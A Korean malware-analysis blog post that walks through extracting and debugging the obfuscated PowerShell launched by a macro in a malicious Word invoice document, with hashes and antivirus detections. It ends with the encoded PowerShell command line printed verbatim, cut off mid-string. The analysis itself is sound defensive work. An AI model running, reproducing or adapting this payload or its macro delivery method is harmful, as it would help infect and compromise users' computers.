IT/malware

Powshell script obfuscation decode :: with api monitor

김반장님 2022. 9. 8. 13:03
반응형

Powshell script obfuscation decode

- 악성 워드 문서 내, 파워쉘로 전달되는 난독화된 문자열 해제하기

 

Filename : INV-840681218377.doc

- MD5 : 61f2858cc90a8a2f1bc754492b0a0369
- SHA1 : c3ecb541f8ffe2597f1991b74aac2170b17be849
- SHA256 : 529024a76742a7337f1fabb0ee417ac2214be7a6a682ac8a4f4a30951e915e5e
- Filesize : 225.00 KB (230400 bytes)
- Detection (Virustotal 39/54)
- ALYac : Trojan.Downloader.VBA.gen
- AhnLab-V3 : W97M/Downloader

 

악성 워드 문서의 매크로 삽입 확인

- [보기] -> [매크로] -> [편집]


Visuao Basic for Applications 에서 다음과 같이 스크립트 화면을 볼 수 있는데, 파워셀에 명령을 전달하기 전인 끝나는 지점 [End Sub] 지점에서 브레이크 포인트[F9] 를 걸어두고 [F8] 키를 눌러 한 단계씩 코드를 실행하며 디버깅 할 수 있다. 마지막 한 변수 안의 값이 파워셀로 전달되는 페이로드가 저장된 것을 확인할 수 있다.

워드 문서 내 매크로 보기
편집메뉴로 스크립트 확인
문서내 powershell 코드 확인

 

PowerShell 명령을 디버깅 할수 있는 프로그램(PowerShell ISE) 으로 명령어를 실행할 수 있다. 여기서 확인할 사항은 MAS 분석 시 나온 command line 의 값을 생략된 것으로 추정됨 파워셀은 MS에서 개발한 명령어 인터프리터로 XP 이후의 윈도우에서 지원한다고 한다.

워드문서의 매크로를 실행 시, 파워셀이 실행되면서 명령어 전달 이후 바로 종료되기 때문에 프로세스는 잠시 잡아두어야 하는데 API Monitor 란 도구를 사용하여 실행되는 프로세스를 모니터링 및 디버깅이 가능하다.
(아래 그림의 빨간 테두리 안의 버튼이 활성화 되어 있어야 함) ollyDBG 나 Immunity DBG 에서도 프로세스를 attach 시켜 확인 가능하나 프로그램 실행하면서 attach를 하려는 순간 프로세스가 종료되어 버림

 

Powershell command line

PowersHell  [StriNG]::JOIn('',( '56W84c85%119k33N114U121k107N49%115~126Y118%121%127U104N60U82h121k104W50}75}121N126c95k1
12%117h121~114~104}39}56h110k81h75U33W59}116~104k104k108c38U51k51k107}107N107h50U46W114N120%111}127~110N121}121h114%111
h115}127%117~121W104~101N50~127W115c113W51%77c70k70W94W51c92}116Y104c104c108Y38}51h51%107Y107~107k50Y120~117U114U123
Y120~115k114U123c120%115N123c104U110W125W117c114k117U114%123N50Y127N115c113%51%90h127%115~118c51k92N116Y104%104~
108U38W51k51W107k107c107}50}110h125W120Y117~115Y117~114h111c108U117%110%125~127N117W115k114}104~106~50W127c115~
113~51N117k84U122W79U75N89k51c92N116k104}104}108~38k51c51k107%107}107W50k113W115%115h126W117k112}121h125N108c108
Y50h127k115%113N51N109k116N115c43c42U51U92Y116}104~104h108}38N51N51k107Y107%107W50~126%111~49~117c106Y122h49}122
W113k50h127h115~113Y51}45N117W85Y84%37}51%59N50%79N108k112c117W104k52N59}92U59U53%39U56W112N74c112W60W33}60h59}
36%40U42%59U39k56U88U118Y90h33N56c121k114U106k38k104%121c113k108~55}59Y64k59c55%56~112W74k112W55W59c50U121}100N
121c59}39h122Y115N110W121k125U127k116}52N56}108U84}107k60%117W114N60%56k110%81}75~53h103U104W110W101}103}56h84U85}
119h50Y88h115}107W114W112c115W125Y120W90%117c112%121N52~56U108k84h107%48k60~56%88c118h90}53%39h79h104}125~110Y
104W49Y76Y110h115}127Y121%111k111~60c56N88~118N90W39c126}110c121c125%119c39W97k127~125k104c127N116}103k97W97' -spliT'u'-sp
반응형